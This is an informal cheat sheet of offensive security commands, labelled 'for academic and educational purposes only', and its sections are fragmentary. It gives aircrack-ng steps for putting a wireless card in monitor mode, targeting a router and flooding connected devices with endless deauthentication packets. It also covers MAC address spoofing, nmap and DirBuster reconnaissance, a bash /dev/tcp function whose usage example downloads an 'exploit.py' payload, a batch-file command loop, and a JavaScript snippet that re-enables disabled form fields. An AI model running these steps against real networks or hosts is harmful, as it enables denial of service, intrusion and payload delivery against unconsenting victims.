For Academic and Educational Purposes Only
I am actively developing a comprehensive cheat sheet, regularly adding content that encompasses intricate information, helpful techniques, and fundamental utilities, along with their practical usage, all conveniently consolidated in a single resource
iwconfig
airmon-ng start {card name}
airodump-ng {card name}
- PWR column is showing signal strenght
- Note also the channel and BSSID of the router
sudo iwconfig {interface} channel {channel}
airodump-ng {card name} --bssid {router BSSID} --channel {router channel}
- router is also included there
aireplay-ng --deauth 0 -c {devices MAC} -a {routers MAC ADDRESS} {card name}
- possibility to include more routers and more MAC adresses
- 0 means infinite number of deauth messages
- TIP of the day: put for example 50 insted of 0 and replay it with 1 second delay
Script
For automation, use a script avaiable here.
sudo ifconfig {interface} down
sudo ifconfig {interface} hw ether {MAC address}
sudo ifconfig {interface} up
nmcli device wifi list
- Show info about avaiable Wi-Fi networks and its security type
- use onionshare
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
# USAGE: __curl http://www.example.com/exploit.py > sploitz.py
- Create a file
something.bat
with following content
@echo off
:a
Set /p comm=cmd~
%comm%
Goto a
- Get basic information about the targer, use it as it is
- Scan the machine, how many ports are open?
- Find all directiories - DirBuster
- To be done
nmap -sV -O {IP ADDRESS}
- This provides information about services version, OS and which ports are in use, all in once
- Used for detecting all folders, even the hidden ones
dirbuster dir -u {IP ADDRESS} -l {WORDLIST PATH}
- Console will fix this problem
var inputField = document.querySelector('input[type="..."][name="..."]');
if (inputField) {
inputField.removeAttribute("disabled");
}
- Run this for both, button and input field and it will be enabled
Check this list.